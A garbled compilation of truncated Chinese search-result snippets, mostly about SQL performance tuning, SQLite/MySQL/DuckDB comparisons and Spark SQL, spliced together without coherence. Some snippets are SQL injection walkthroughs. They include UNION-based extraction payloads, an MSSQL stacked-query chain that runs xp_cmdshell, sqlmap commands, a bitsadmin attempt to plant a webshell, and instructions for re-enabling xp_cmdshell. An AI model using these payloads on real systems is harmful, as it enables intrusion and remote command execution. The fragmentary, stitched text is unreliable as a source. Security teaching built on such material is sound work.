网上找到一个脚本还不错，小小的修改就满足了我的要求，执行完SQL脚本。...SQL Server脚本： SELECT 表名 = Case When A.colorder=1 Then D.name Else '' End, 表说明 = Case
结论 从原来90ms 优化到3ms
说了这么多，这么做马上就碰到了一个潜在的问题，数据库是sqlite,而我们实际使用肯定是MySQL，从使用和数据安全性上来说，我们更倾向于用MySQL,但是sqlite和MySQL本身不是完全兼容的，怎么同步这些数据...怎么把sqlite的数据同步到MySQL就是摆在我面前的一个问题。 我做了快速的尝试，用了如下的方式，仅供参考。...把sqlite的数据文件拷贝到linux里面，因为我正式的服务都是在linux下，同样的应用我使用了MySQL,这个数据文件有个好处就是从windows拷贝到linux，还是能够正常解析的，登录使用命令...sqlite3 db.sqlite3 .dump 得到的SQL类似下面的形式，大部分的语法还是兼容的。...如果是sql文件需要去掉脚本里的“”，要不解析会出错。 把SQL部署到MySQL，就行程了一个闭环，我们就可以按照自己的想法来补充完善了。
1.建立Mysql连接 image.png 2.建立Sqlite连接 自定义连接URL：jdbc:sqlite:/data/testdb.sqlite3 自定义驱动类型 org.sqlite.JDBC
网站最常用的查询是SELECT语句，用于从数据库中检索信息。...由于它用于从其他表检索信息，因此可以将其用作SQL注入负载。攻击者无法直接修改查询的开头，因为它是由PHP代码生成的。...使用UNION开发SQL注入 使用UNION开发SQL注入的步骤如下： 查找要执行并集的列数 查找页面中回显的列 从数据库元表中检索信息 从其他表/数据库检索信息 为了通过SQL注入执行请求，需要找到查询第一部分返回的列数...如果要使用正则表达式轻松地从结果页检索信息（例如，如果要编写SQL注入脚本），可以在注入中使用标记：``1 UNION SELECT 1,concat('^^^',table_name,':',column_name...admin:8efe310f9ab3efeae8d410a8e0166eb2 可以使用以下命令行破解以前检索到的密码： $ .
从2.71s降到38ms,但是页面响应时间还是超过了0.5s，达到1.03s。猜测应该是treeview加载这个json数据的时间吧。
，一开始设置的中间件线程池大小为2048： 初始的配置 压测跑起来之后是这个样子的： 2048连接时的性能数据 每个请求要在连接池队列里等待33ms，获得连接后执行SQL需要77ms 此时数据库的等待事件是这个熊样的...： 连接池降到1024后 获取链接等待时长没怎么变，但是执行SQL的耗时减少了。...96个连接时的性能数据 队列平均等待1ms，执行SQL平均耗时2ms。 wait事件几乎没了，吞吐量上升。...没有调整任何其他东西，仅仅只是缩小了中间件层的数据库连接池，就把请求响应时间从100ms左右缩短到了3ms。 But why?...上图是PostgreSQL的benchmark数据，可以看到TPS增长率从50个连接数开始变缓。
use tempdb;create table tt_tmp (tmp1 varchar(1000));-- sqlmap查看建表成功，sqlmap -r 1.txt --dbms "Microsoft SQL...--查找网站文件并把路径写入到表tt_tmp uname=test';use tempdb;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'dir.../s /b d:\layer.js';-- 用sqlmap得到表tt_tmp的内容: python sqlmap.py -r 1.txt --dbms="Microsoft SQL Server" --...尝试直接下载shell到服务器 使用bitsadmin下载时并没有成功，访问http://111.*.*.59/Content/layer/aaa.aspx返回404 uname=test';exec...D:\WEBAPP\Content\layer\layer.js'),1,1))>16) WAITFOR DELAY '0:0:1'; 参考来源：http://wyb0.com/posts/2019/sql-server-from-injection-to-getshell
select name from master.dbo.sysdatabases; 获取表名： select name from test.dbo.sysobjects sysobjects表是SQL...='emails' 我想你会想，如果是我要获取第10个表名的话岂不是需要写9个条件判断语句，那样也太繁琐了吧 因此我们可以直接利用sql语法，not in('xxxx') select top 1 name...varchar(2000) set @s=0x73656c656374206e61696865353637 exec(@s) #declear与exec其实是属于报错注入范畴，但是它可以将一个完成的sql...xplog70.dll进行恢复 avatar exec master.sys.sp_addextendedproc 'xp_cmdshell','C:\Program Files\Microsoft SQL...master..xp_cmdshell 'for /r c:\ %i in (i*.aspx) do @echo %i' avatar 回显问题：看到这里，可能有很多小伙伴会不耐烦的说，这是我在软件上执行的sql
SQL注入从入门到进阶 本文章产生的缘由是因为专业老师，让我给本专业的同学讲一哈SQL注入和XSS入门，也就是本文的入门篇，讲完两节课后，发现自己对于SQL注入的理解也就仅仅局限于入门，于是有了进阶章节的产生...（Structured Query Language） 是用于访问和处理数据库的标准的计算机语言,SQL与数据库程序协同工作，比如 SQL Server、MySQL、Oracle、SQLite、MongoDB...、PostgreSQL、MS Access、DB2以及其他数据库系统。...通俗来说：OWASP Top10之一，SQL注入是通过将恶意的SQL语句插入到Web应用的输入参数中，欺骗服务器执行恶意的SQL命令的攻击。...rand()：返回0~1间的小数 floor()：把小数向下取整 group by语句：把结果分组输出 8.sql注入之你问我答 二、盲注 SQL盲注，与一般注入的区别在于，一般的注入攻击者可以直接从页面上看到注入语句的执行结果
from orders o inner join inventory i on o.order_item = i.inventory_item Begin Transaction 事务是包裹着一系列SQL...的语句，通过事务可以使得事务里面的SQL可以一次性commit，或者是回滚。...Function 在 SQL Server 中，一组为了完成特定功能的SQL语句集被称为存储过程，而在Postgre SQL中被称为函数（Function）。...Group By SQL 的聚合函数允许我们针对特定的列执行诸如SUM, COUNT, MIN, MAX, AVERAGE等操作。...的执行过程，以便于更好的优化SQL。
在现代Web应用中，日期和时间的选择是一个常见的需求。React 提供了多种库来简化这个过程，其中最流行的是 react-datepicker 和 Materi...
发家史 熟悉spark sql的都知道，spark sql是从shark发展而来。...Spark SQL在Hive兼容层面仅依赖HQL parser、Hive Metastore和Hive SerDe。也就是说，从HQL被解析成抽象语法树（AST）起，就全部由Spark SQL接管了。...到spark2.0以后，DataFrame变成类型为Row的Dataset，即为： type DataFrame = Dataset[Row] ?...所以，很多移植spark1.6及之前的代码到spark2+的都会报错误，找不到dataframe类。...总体执行流程如下：从提供的输入API（SQL，Dataset， dataframe）开始，依次经过unresolved逻辑计划，解析的逻辑计划，优化的逻辑计划，物理计划，然后根据cost based优化
(execution: 16 s 831 ms, fetching: 107 ms)，按照下文的方式调整SQL后，耗时347 ms (execution: 163 ms, fetching: 184...ms)； 操作： 查询条件放到子查询中，子查询只查主键ID，然后使用子查询中确定的主键关联查询其他的属性字段； 原理： 减少回表操作； -- 优化前SQL SELECT 各种字段 FROM `table_name...MySQL耗费了大量随机I/O在查询聚簇索引的数据上，而有300000次随机I/O查询到的数据是不会出现在结果集当中的。...加载了4098个数据页到buffer pool，而第二个sql只加载了5个数据页到buffer pool。...而且这会造成一个问题：加载了很多热点不是很高的数据页到buffer pool，会造成buffer pool的污染，占用buffer pool的空间。
有一张财务流水表，未分库分表，目前的数据量为9555695，分页查询使用到了limit，优化之前的查询耗时16 s 938 ms (execution: 16 s 831 ms, fetching: 107...ms)，按照下文的方式调整SQL后，耗时347 ms (execution: 163 ms, fetching: 184 ms)； 操作：查询条件放到子查询中，子查询只查主键ID，然后使用子查询中确定的主键关联查询其他的属性字段...MySQL耗费了大量随机I/O在查询聚簇索引的数据上，而有300000次随机I/O查询到的数据是不会出现在结果集当中的。...加载了4098个数据页到buffer pool，而第二个sql只加载了5个数据页到buffer pool。...而且这会造成一个问题：加载了很多热点不是很高的数据页到buffer pool，会造成buffer pool的污染，占用buffer pool的空间。
: 16 s 831 ms, fetching: 107 ms)，按照下文的方式调整SQL后，耗时347 ms (execution: 163 ms, fetching: 184 ms)； 操作：查询条件放到子查询中...MySQL耗费了大量随机I/O在查询聚簇索引的数据上，而有300000次随机I/O查询到的数据是不会出现在结果集当中的。...只访问5次数据页，而后一个sql访问300005次数据页。...加载了4098个数据页到buffer pool，而第二个sql只加载了5个数据页到buffer pool。...4年后离开国企，加入永辉互联网板块的创业团队，从开发、到架构、到合伙人。一路过来，给我最深的感受就是一定要不断学习并关注前沿。只要你能坚持下来，多思考、少抱怨、勤动手，就很容易实现弯道超车！
DuckDB sqlite是一款非常优秀的数据库，特别是当开发者想在本地服务器直接运行SQL代码或者是像关系型数据库一样存储数据时，sqlite完美的切合了这个需求。...因此DuckDB应运而生，提供与sqlite一样的接口和存储方式，但其底层是列式存储。 导入数据到DuckDB DuckDB完整的实现了DB-API 2.0协议。...runs, loop each) %%time # SQLite pd.read_sql(query, conn) # 25.2 s ± ms per loop (mean ± std. dev...从结果来看，DuckDB 的性能提升非常明显。...::DATE), EXTRACT(HOUR FROM tpep_pickup_datetime) ) stats -- 2.05 s ± 22.7 ms per loop (mean ±
经过一段时间的测试，证明 DuckDB 比 SQLite 更适合我们的时间追踪应用。 为什么选择 DuckDB 我们需要一个能够嵌入到应用中，同时又快速且可靠的数据库系统。...SQLite 和 DuckDB 都可以满足这些要求，但我们发现 DuckDB 在执行分析查询时比 SQLite 快 3 到 5 倍，而且随着数据量的增加，这种优势更加明显。...我们最复杂的查询涉及多个大表和视图的连接，并且大量依赖聚合 SQL 函数。在这种工作负载下，DuckDB 在这方面超越了 SQLite 也就不足为奇了。...另外需要注意的是，将 DuckDB 包含在我们的应用中几乎使应用包的体积翻倍，从 26MB 增加到 44MB。虽然体积变大了，但对我们来说绝对值得。 我们是否完全放弃了 SQLite 没有。...总 结 自从迁移到 DuckDB 以来： 读取查询至少快了 3 到 5 倍（这也让我们的仪表盘更快了） 数据库文件占用的存储空间减少了约 80% 应用包体积几乎翻倍（从 26MB 增加到 44MB
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